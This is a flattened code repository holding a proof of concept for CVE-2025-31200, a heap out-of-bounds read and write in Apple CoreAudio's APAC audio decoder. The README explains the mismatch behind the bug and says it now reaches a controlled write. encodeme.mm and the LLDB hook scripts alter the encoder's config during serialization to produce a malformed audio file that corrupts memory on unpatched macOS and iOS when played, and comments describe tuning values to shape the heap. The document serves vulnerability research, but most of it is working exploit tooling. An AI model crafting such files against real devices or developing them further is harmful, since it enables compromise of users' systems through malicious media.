├── README.md
├── apac.ksy
├── build_encodeme.sh
├── check-mismatch.lldb
├── convertme2.swift
├── encodeme
├── encodeme.mm
├── getaudiolength.swift
├── output.caf
├── resign_avconvert.sh
├── run_encodeme.sh
└── run_encodeme_hook.lldb
/README.md:
--------------------------------------------------------------------------------
1 | Proof-of-concept for the CoreAudio patch (CVE-2025-31200) in [iOS 18.4.1](https://support.apple.com/en-us/122282). Write-up here https://blog.noahhw.dev/posts/cve-2025-31200/.
2 |
3 | # Update 05/27/2025
4 | I have been able to push this to a *controlled* if not arbitrary write. The writeup is coming soon. In order to see for yourself though, you'll have to build on a version of macos before the patch: < 15.4.1. You can play the audio with the check-mismatch lldb hook (using a simple harness that just plays the audio) in order to see the write. It is not a great arbitrary write yet, as I mentioned above for a few reasons - but mainly because I am still not 100% sure at what stage of the decoding pipeline these values from the frame buffer are at when they are remapped. I am stopping here though to work on the writeup if somebody wants to take it up.
5 |
6 | # Update 05/21/2025
7 | I @noahhw46 (couldn't have done it without this setup @zhouwei) figured it out (writeup coming soon). However, there is still a lot more to understand. I added the first bit of the next steps of my investigation here in order to show exactly what the bug *does*. check-mismatch is another lldb script that can be used with a working poc to show exactly the mismatch that was created between the mRemappingArray and the permutation map in `APACChannelRemapper::Process` (really in `APACHOADecoder::DecodeAPACFrame`).
8 |
9 | ----
10 |
11 | ```
12 | The mRemappingArray is sized based on the lower two bytes of mChannelLayoutTag.
13 | By creating a mismatch between them, a later stage of processing in APACHOADecoder::DecodeAPACFrame is corrupted.
14 | When the APACHOADecoder goes to process the APAC frame (permute it according to the channel remapping array), it uses the mRemappingArray as the permutation map to do the well, channel remapping. It seems like the frame data that is being remapped is sized based on mTotalComponenets.
15 | ```
16 |
17 | When you play the `output.mp4` audio file (e.g. with AVAudioPlayer), `APACChannelRemapper::Process` will read then write out of bounds.
18 |
19 | You can see the first read out of bounds if you enable Guard Malloc in Xcode:
20 |
21 |
22 |
23 | Without Guard Malloc, `APACHOADecoder::DecodeAPACFrame` will later crash with an invalid `memmove`:
24 |
25 |
26 |
27 | ----
28 |
29 | @zhuowei's Previous README is below:
30 |
31 |
32 | Trying to understand the CoreAudio patch (CVE-2025-31200) in [iOS 18.4.1](https://support.apple.com/en-us/122282).
33 |
34 | I haven't figure it out yet.
35 |
36 | Currently, I get different error messages when decoding `output.mp4` on macOS 15.4.1:
37 |
38 | ```
39 | error 01:10:26.743480-0400 getaudiolength :548 Invalid mRemappingArray bitstream in hoa::CodecConfig::Deserialize()
40 | error 01:10:26.743499-0400 getaudiolength :860 Error in deserializing ASC components
41 | ```
42 |
43 | vs Xcode Simulator for visionOS 2.2:
44 |
45 | ```
46 | error 01:09:21.841805-0400 VisionOSEvaluation APACProfile.cpp:424 ERROR: Wrong profile index in GlobalConfig
47 | error 01:09:21.841914-0400 VisionOSEvaluation APACGlobalConfig.cpp:894 Profile and level data could not be validated
48 | ```
49 |
50 | so I am hitting the new check, but I don't know how to get it to actually overwrite something.
51 |
52 | ## info on the changed function
53 |
54 | The changed function [seems](https://github.com/blacktop/ipsw-diffs/blob/main/18_4_22E240__vs_18_4_1_22E252/README.md) to be `apac::hoa::CodecConfig::Deserialize` in `/System/Library/Frameworks/AudioToolbox.framework/AudioCodecs`.
55 |
56 | APAC is [Apple Positional Audio Codec](https://support.apple.com/en-by/guide/immersive-video-utility/dev4579429f0/web#:~:text=Apple%20Positional%20Audio%20Codec)
57 |
58 | HOA is [Higher-order Ambisonics](https://en.wikipedia.org/wiki/Ambisonics#Higher-order_Ambisonics).
59 |
60 | If you look at a [sample file from ffmpeg issue tracker](https://trac.ffmpeg.org/ticket/11480):
61 |
62 | ```
63 | $ avmediainfo ~/Downloads/clap.MOV
64 | Asset: /Users/zhuowei/Downloads/clap.MOV
65 | <...>
66 | Track 3: Sound 'soun'
67 | Enabled: No
68 | Format Description 1:
69 | Format: APAC 'apac'
70 | Channel Layout: High-Order Ambisonics, ACN/SN3D
71 | Sample rate: 48000.0
72 | Bytes per packet: 0
73 | Frames per packet: 1024
74 | Bytes per frame: 0
75 | Channels per frame: 4
76 | Bits per channel: 0
77 | System support for decoding this track: Yes
78 | Data size: 43577 bytes
79 | Media time scale: 48000
80 | Duration: 0.898 seconds
81 | Estimated data rate: 363.142 kbit/s
82 | Extended language tag: und
83 | 1 segment present
84 | Index Media Start Media Duration Track Start Track Duration
85 | 1 00:00:00.000 00:00:00.898 00:00:00.000 00:00:00.898
86 | Member of alternate group 0: (2, 3)
87 | ```
88 |
89 | You can convert to APAC with `afconvert -o sound440.m4a -d apac -f mp4f sound440hz.wav`.
90 |
91 | Using `bindiff` on iOS 18.4.1 vs 18.4, it seems reading the `mRemappingArray` now checks the global `AudioChannelLayout*` at offset 0x58 for the number of channels instead of the remapping `AudioChannelLayout*` at offset 0x78.
92 |
93 | The `encodeme.mm` file encodes APAC, and an LLDB script forces extra elements into `mRemappingArray` and the remapping `AudioChannelLayout`:
94 |
95 | ```
96 | ./build_encodeme.sh
97 | ./run_encodeme.sh
98 | ```
99 |
100 |
--------------------------------------------------------------------------------
/apac.ksy:
--------------------------------------------------------------------------------
1 | meta:
2 | id: apac
3 | bit-endian: be
4 | endian: le
5 | seq:
6 | - id: a
7 | type: b16
8 | - id: global_config
9 | type: apac_global_config
10 | types:
11 | apac_global_config:
12 | seq:
13 | - id: f0_20
14 | type: b6
15 | - id: f1_22
16 | type: b4
17 | - id: f2_128
18 | type: b1
19 | - id: mp4_sample_rate_24
20 | type: b6
21 | - id: f4_29
22 | type: b6
23 | - id: num_channels_180
24 | type: b8
25 | - id: f6_12c
26 | type: b8
27 | - id: f7_129
28 | type: b1
29 | - id: asc_config_count
30 | type: b3 # varint: 6u, 12u - 3 bits, 6 bits, 12 bits respectively
31 | - id: asc_config
32 | type: apac_global_config_audio_scene_component_config
33 | repeat: expr
34 | repeat-expr: asc_config_count
35 | - id: f_179
36 | type: b1
37 | - id: f_148_count
38 | type: b3 # varint: 6u, 12u
39 | if: f_179
40 | # more stuff
41 | apac_global_config_audio_scene_component_config:
42 | seq:
43 | - id: f0_2a
44 | type: b8
45 | - id: asc_type
46 | type: b3
47 | - id: asc
48 | type:
49 | switch-on: asc_type
50 | cases:
51 | 0: apac_chan_codec_config
52 | 1: apac_obj_codec_config
53 | 2: apac_hoa_codec_config
54 | 3: apac_stic_codec_config
55 | 4: apac_spch_codec_config
56 | 5: apac_passthrough_codec_config
57 | apac_chan_codec_config:
58 | seq:
59 | - id: dummy
60 | type: b1
61 | apac_obj_codec_config:
62 | seq:
63 | - id: dummy
64 | type: b1
65 | apac_hoa_codec_config:
66 | seq:
67 | - id: write_num_hoa_coeffs_f_47
68 | type: b1
69 | - id: f_40
70 | type: b1
71 | - id: write_f_42_f_41
72 | type: b1
73 | - id: f_42
74 | type: b1
75 | if: write_f_42_f_41
76 | - id: f_43
77 | type: b1
78 | - id: f_45
79 | type: b1
80 | - id: f_46
81 | type: b1
82 | - id: write_fc_f_4c
83 | type: b1
84 | - id: f_fc
85 | type: b2
86 | if: write_fc_f_4c
87 | - id: f_100
88 | type: apac_varint_6_8
89 | if: write_fc_f_4c
90 | - id: f_50
91 | type: b2
92 | - id: f_f8
93 | type: b2
94 | - id: f_6c
95 | type: b2
96 | - id: num_hoa_coeffs_f_5c
97 | type: b7 # varint?
98 | if: write_num_hoa_coeffs_f_47 == false
99 | - id: some_other_thing_hoa_order_5c
100 | type: apac_varint_6_8
101 | if: write_num_hoa_coeffs_f_47
102 | - id: num_subbands_4_sc_count_60
103 | type: apac_varint_6_8
104 | - id: fancy_num_coeffs_calc_100
105 | type: b4 #b2 # variable - this is 3,2 for 4 chan... or 0,4 for 16 chan?!
106 | - id: num_subbands_4_sc
107 | type: apac_hoa_subband_4_sc
108 | repeat: expr
109 | repeat-expr: num_subbands_4_sc_count_60.value
110 | - id: f_44
111 | type: b1
112 | # these are tied to 100...
113 | - id: something_after_f44
114 | type: b1
115 | if: false # f_44 == false # 16 channel doesn't have?
116 | # also tied to write_f_42_f_41
117 | - id: tce_config_count
118 | type: b5 # varint: <10u, 16>
119 | - id: tce_config
120 | type: b3
121 | repeat: expr
122 | repeat-expr: tce_config_count
123 | - id: remap_layout_is_zero_78
124 | type: b1
125 | - id: audio_channel_layout_tag_top # also 78
126 | type: b16
127 | - id: audio_channel_layout_tag_bottom
128 | type: b16
129 | - id: has_remapping_array_e0
130 | type: b1
131 | # if true there's a repeat here
132 | # num bits = floor(log2f(audio_channel_layout_tag_bottom)+0.001)
133 |
134 | apac_hoa_subband_4_sc:
135 | seq:
136 | - id: f_90
137 | type: b4 # varint: <6u, 8u>
138 | - id: f_a8
139 | type: b2 # is it?
140 | if: _parent.write_num_hoa_coeffs_f_47
141 | # TODO
142 |
143 | apac_stic_codec_config:
144 | seq:
145 | - id: f0_50
146 | type: b1
147 | - id: f1_38
148 | type: b20
149 | - id: inner_count
150 | type: b5 # varint: 10u, 16u
151 | - id: inner
152 | type: apac_stic_codec_config_inner
153 | repeat: expr
154 | repeat-expr: inner_count
155 | apac_stic_codec_config_inner:
156 | seq:
157 | - id: length
158 | type: b8
159 | - id: entry_type
160 | type: b3
161 | - id: too_long_didn_t_write
162 | type: b1
163 | repeat: expr
164 | repeat-expr: length
165 | apac_spch_codec_config:
166 | seq:
167 | - id: dummy
168 | type: b1
169 | apac_passthrough_codec_config:
170 | seq:
171 | - id: dummy
172 | type: b1
173 | apac_varint_6_9:
174 | # -webide-representation: '{value:hex}'
175 | seq:
176 | - id: f0
177 | type: b3
178 | - id: f1
179 | type: b6
180 | if: f0 == 0x7
181 | - id: f2
182 | type: b9
183 | if: f1 == 0x3f
184 | instances:
185 | value:
186 | value: "f0"
187 | apac_varint_6_8:
188 | # -webide-representation: '{value}'
189 | seq:
190 | - id: f0
191 | type: b4
192 | - id: f1
193 | type: b6
194 | if: f0 == 0xf
195 | - id: f2
196 | type: b8
197 | if: f1 == 0x3f
198 | instances:
199 | value:
200 | value: "f0"
201 |
--------------------------------------------------------------------------------
/build_encodeme.sh:
--------------------------------------------------------------------------------
1 | clang++ -g -Os -o encodeme -std=c++23 -fmodules -fcxx-modules -fobjc-arc encodeme.mm
2 |
--------------------------------------------------------------------------------
/check-mismatch.lldb:
--------------------------------------------------------------------------------
1 | b -n APACChannelRemapper::Process
2 | breakpoint command add
3 | #input vector length in bits
4 | expr uint64_t $in_vec_size = *(uint64_t*)($x1+0x8)-*(uint64_t*)($x1)
5 | expr uint64_t $num_bytes = $in_vec_size/8
6 | expr uint64_t $ctrl_vec_len = *(uint64_t*)($x0+0x10)-*(uint64_t*)($x0+0x8)
7 | #The size of ctrl vec:
8 | p $ctrl_vec_len
9 | #The size of in_vec in bytes:
10 | p $num_bytes
11 | #All the 'pointers' that will be permuted
12 | memory read --count `$ctrl_vec_len` --format hex --size 8 -- *(uint64_t*)$x1
13 | #the value (if any) at the first pointer in ctrl_vec_len
14 | expr uint64_t $ptrval = *(uint64_t*)*(uint64_t*)*(uint64_t*)$x1
15 | p $ptrval
16 | DONE
17 | breakpoint modify --auto-continue true 1
18 | r
19 |
--------------------------------------------------------------------------------
/convertme2.swift:
--------------------------------------------------------------------------------
1 | import AVFAudio
2 |
3 | // https://github.com/robertncoomber/NativeiOSAmbisonicPlayback/blob/main/NativeiOSAmbisonicPlayback/Code/AmbisonicPlayback.swift#L37
4 |
5 | let formatIn = AVAudioFormat(
6 | commonFormat: .pcmFormatFloat32, sampleRate: 44100, channels: 1, interleaved: false)!
7 |
8 | var outputDescription = AudioStreamBasicDescription(
9 | mSampleRate: 44100,
10 | mFormatID: kAudioFormatAPAC,
11 | mFormatFlags: 0,
12 | mBytesPerPacket: 0,
13 | mFramesPerPacket: 0,
14 | mBytesPerFrame: 0,
15 | mChannelsPerFrame: 16,
16 | mBitsPerChannel: 0,
17 | mReserved: 0)
18 | let channelLayout = AVAudioChannelLayout(layoutTag: kAudioChannelLayoutTag_HOA_ACN_SN3D | 16)!
19 | let formatOut = AVAudioFormat(streamDescription: &outputDescription, channelLayout: channelLayout)!
20 |
21 | guard let converter = AVAudioConverter(from: formatIn, to: formatOut) else {
22 | print("no converter")
23 | exit(0)
24 | }
25 | let magicCookie = converter.magicCookie!
26 | try! magicCookie.write(to: URL(filePath: "apac_hoa.dat"))
27 |
--------------------------------------------------------------------------------
/encodeme:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/zhuowei/apple-positional-audio-codec-invalid-header/4c11d97bde3f5d8aa7a9b1354dda9e67673f6984/encodeme
--------------------------------------------------------------------------------
/encodeme.mm:
--------------------------------------------------------------------------------
1 | @import AVFAudio;
2 | @import AudioToolbox;
3 |
4 | #include
5 |
6 | struct CodecConfig {
7 | char padding0[0x78]; // 0
8 | AudioChannelLayout* remappingChannelLayout; // 0x78
9 | char padding1[0xe0 - 0x80]; // 0x80
10 | std::vector mRemappingArray; // 0xe0
11 | };
12 |
13 | void OverrideApac(CodecConfig* config) {
14 | //the exact tag given here is extremely important.
15 | //The difference between the tag given here and the channelnum influences the heap layout.
16 | //With these exact values, it almost always ends up such that the 13th pointer in the permuted input vector
17 | //is the same address as the tenth one (i am not sure why yet, but the object that is there just happens to have that pointer as its first field perhaps).
18 | // This makes it so when the pointers are later dereferenced, there is no segfault.
19 | //If you pick, for example, 13 and then 10 as the channelnum, it will segfault much earlier.
20 | config->remappingChannelLayout->mChannelLayoutTag = kAudioChannelLayoutTag_HOA_ACN_SN3D | 13;
21 | config->mRemappingArray.push_back(0x3);
22 | }
23 |
24 | int main() {
25 | uint32_t channelNum = 12;
26 | AVAudioChannelLayout* channelLayout =
27 | [AVAudioChannelLayout layoutWithLayoutTag:kAudioChannelLayoutTag_HOA_ACN_SN3D | channelNum];
28 |
29 | AVAudioFormat* formatIn = [[AVAudioFormat alloc] initWithCommonFormat:AVAudioPCMFormatInt32
30 | sampleRate:44100
31 | interleaved:YES
32 | channelLayout:channelLayout];
33 |
34 | AudioStreamBasicDescription outputDescription{.mSampleRate = 44100,
35 | .mFormatID = kAudioFormatAPAC,
36 | .mFormatFlags = 0,
37 | .mBytesPerPacket = 0,
38 | .mFramesPerPacket = 0,
39 | .mBytesPerFrame = 0,
40 | .mChannelsPerFrame = channelNum,
41 | .mBitsPerChannel = 0,
42 | .mReserved = 0};
43 |
44 |
45 | NSURL* outUrl = [NSURL fileURLWithPath:@"output.caf"];
46 |
47 | OSStatus status = 0;
48 |
49 | ExtAudioFileRef audioFile = nullptr;
50 | status =
51 | ExtAudioFileCreateWithURL((__bridge CFURLRef)outUrl, kAudioFileCAFType, &outputDescription,
52 | channelLayout.layout, kAudioFileFlags_EraseFile, &audioFile);
53 | if (status) {
54 | fprintf(stderr, "error ExtAudioFileCreateWithURL: %d\n", status);
55 | return 1;
56 | }
57 |
58 | status = ExtAudioFileSetProperty(audioFile, kExtAudioFileProperty_ClientDataFormat,
59 | sizeof(AudioStreamBasicDescription), formatIn.streamDescription);
60 | if (status) {
61 | fprintf(stderr, "error ExtAudioFileSetProperty: %d\n", status);
62 | return 1;
63 | }
64 | status = ExtAudioFileSetProperty(audioFile, kExtAudioFileProperty_ClientChannelLayout,
65 | sizeof(AudioChannelLayout), formatIn.channelLayout.layout);
66 | if (status) {
67 | fprintf(stderr, "error ExtAudioFileSetProperty: %d\n", status);
68 | return 1;
69 | }
70 |
71 | const int frameCount = 44100;
72 | const int bufferSize = 44100 * channelNum;
73 | int* audioBuffer = new int[bufferSize]();
74 |
75 | for (int frame = 0; frame < frameCount; frame++) {
76 | for (int ch = 0; ch < channelNum; ch++) {
77 | audioBuffer[frame * channelNum + ch] = 0xff;
78 | }
79 | }
80 |
81 |
82 | AudioBufferList audioBufferList{
83 | .mNumberBuffers = 1,
84 | .mBuffers =
85 | {
86 | {
87 | .mNumberChannels = channelNum,
88 | .mDataByteSize = static_cast(bufferSize * sizeof(int)),
89 | .mData = audioBuffer,
90 | },
91 | },
92 | };
93 |
94 | status = ExtAudioFileWrite(audioFile, frameCount, &audioBufferList);
95 | if (status) {
96 | fprintf(stderr, "error ExtAudioFileWrite: %d\n", status);
97 | delete[] audioBuffer;
98 | return 1;
99 | }
100 |
101 | status = ExtAudioFileDispose(audioFile);
102 | if (status) {
103 | fprintf(stderr, "error ExtAudioFileDispose: %d\n", status);
104 | }
105 |
106 | delete[] audioBuffer;
107 | audioFile = nullptr;
108 | return 0;
109 | }
110 |
--------------------------------------------------------------------------------
/getaudiolength.swift:
--------------------------------------------------------------------------------
1 | import AVFoundation
2 |
3 | let asset = AVURLAsset(url: URL(filePath: "output.mp4"))
4 | print(asset.duration)
5 |
--------------------------------------------------------------------------------
/output.caf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/zhuowei/apple-positional-audio-codec-invalid-header/4c11d97bde3f5d8aa7a9b1354dda9e67673f6984/output.caf
--------------------------------------------------------------------------------
/resign_avconvert.sh:
--------------------------------------------------------------------------------
1 | #!/bin/sh
2 | lipo -thin arm64e /usr/bin/afconvert -output afconvert_arm64e
3 | dd if=/dev/zero bs=4 seek=2 count=1 of=afconvert_arm64e conv=notrunc
4 | codesign --sign - -f afconvert_arm64e
5 |
--------------------------------------------------------------------------------
/run_encodeme.sh:
--------------------------------------------------------------------------------
1 | rm output.mp4
2 | lldb ./encodeme --source run_encodeme_hook.lldb --batch
3 |
--------------------------------------------------------------------------------
/run_encodeme_hook.lldb:
--------------------------------------------------------------------------------
1 | b apac::hoa::CodecConfig::Serialize
2 | breakpoint command add
3 | print OverrideApac((CodecConfig*)$x0)
4 | DONE
5 | breakpoint modify --auto-continue true
6 | run
--------------------------------------------------------------------------------